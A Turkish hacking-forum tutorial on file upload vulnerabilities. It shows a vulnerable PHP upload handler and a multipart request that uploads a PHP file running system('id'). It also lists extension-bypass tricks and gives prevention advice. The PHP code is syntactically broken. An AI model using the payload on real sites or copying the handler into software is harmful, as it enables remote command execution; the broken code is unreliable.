Dosya Yükleme Zafiyeti (Basit Yöntem)

Dosya Yükleme Zafiyeti (Basit Yöntem)


Dosya yükleme zafiyeti, bir Web uygulamasının kullanıcı tarafından dosya yükleyebildiği noktalarda, dosyanın yeterince doğrulanmamasından kaynaklı (Uzantı, içerik, vb…) oluşan güvenlik açığıdır. Günümüzde ise popülerliğini tam anlamıyla yitirmeyip çoğu zaman karşımıza çıkabilmektedir.


indir.png



Bu güvenlik açığının en kritik etkileri, saldırganın Web uygulamasında yüklediği dosyanın içerisinde sistem hakkında bilgi alabileceği zararlı komutlar, hatta Web uygulaması üzerinden kendi makinelerine ters bağlantı sağlayıp sistemde komut yürütme zafiyetlerine kadar şekillendirilebilmektedir.

Örnek File Upload Saldırısı


Şimdi sizlerle örnek bir zafiyetli PHP Kaynak kodu inceleyelim.
<?php
if (isset ($_POST["uploads"])) {
$addr = $_FILES ['input_image']['tmp_name']
$fileName = basename($_FILES ["input_image"]["name"]);
if(!=empty($fileName)) {
if(!file_exists("upload")) {
mkdir("upload") } }
$path = "upload/".$fileName
echo "<pre>{$fileName} Yüklendi!</pre>"
}
?>​


Yukarıdaki kod üzerinde görünen; Kullanıcıdan herhangi bir kısıtlama olmadan (Dosya tipi, dosya ismi, vb…) direkt olarak alınan dosya yeni bir dizin oluşturularak “uploads/” dizinin altına yüklenmektedir. Saldırganın alttaki yöntem ile dosyayı sisteme yüklediği halde zafiyeti tetikleyecektir.
POST /lab/file-upload/
Host: [Host]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL9BSIP2OjyWPkyN4
Content-Length: 331
------WebKitFormBoundaryL9BSIP2OjyWPkyN4
Content-Disposition: form-data; name="input_image"; filename="vuln.php"
Content-Type: application/octet-stream
<?php echo system("id"); ?>
------WebKitFormBoundaryL9BSIP2OjyWPkyN4​

File Upload Zafiyeti Nasıl Önlenir?

Web uygulamanıza dosya yüklenmesi çok normal bir durumdur fakat gerekli önlemleri almazsanız durum kritikleşebilir. Bu yüzden aşağıdaki kuralları uygulamanız halinde daha güvenli hale getirebilirsiniz:
  • Yüklenene dosya uzantısında blacklist metodu kullanmak yerine whitelist metodunuz ile yüklenen dosya uzantısını karşılaştırın. Unutmayın ki sadece blacklist metodu kullanırsanız dosya uzantısı üzerinde ufak oynamalar yapılarak örn:(vuln.php.png, vuln.php%00.png%00.jpg) yöntemleri ile bypass edilebilir.
  • Yüklenen dosyaları harici bir dizinde saklayın. Bu yöntem saldırganların Web sitesi URL'si sayesinde kötü amaçlı dosyaları yürütülmesini engeller.
  • Dosya yükleme sırasında virüs tarayıcısı kullanın. Bu sayede sisteme yüklenen dosyaların içeriklerini kontrol ederek zararlı kod çalıştırılmasının önüne geçmiş olursunuz.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.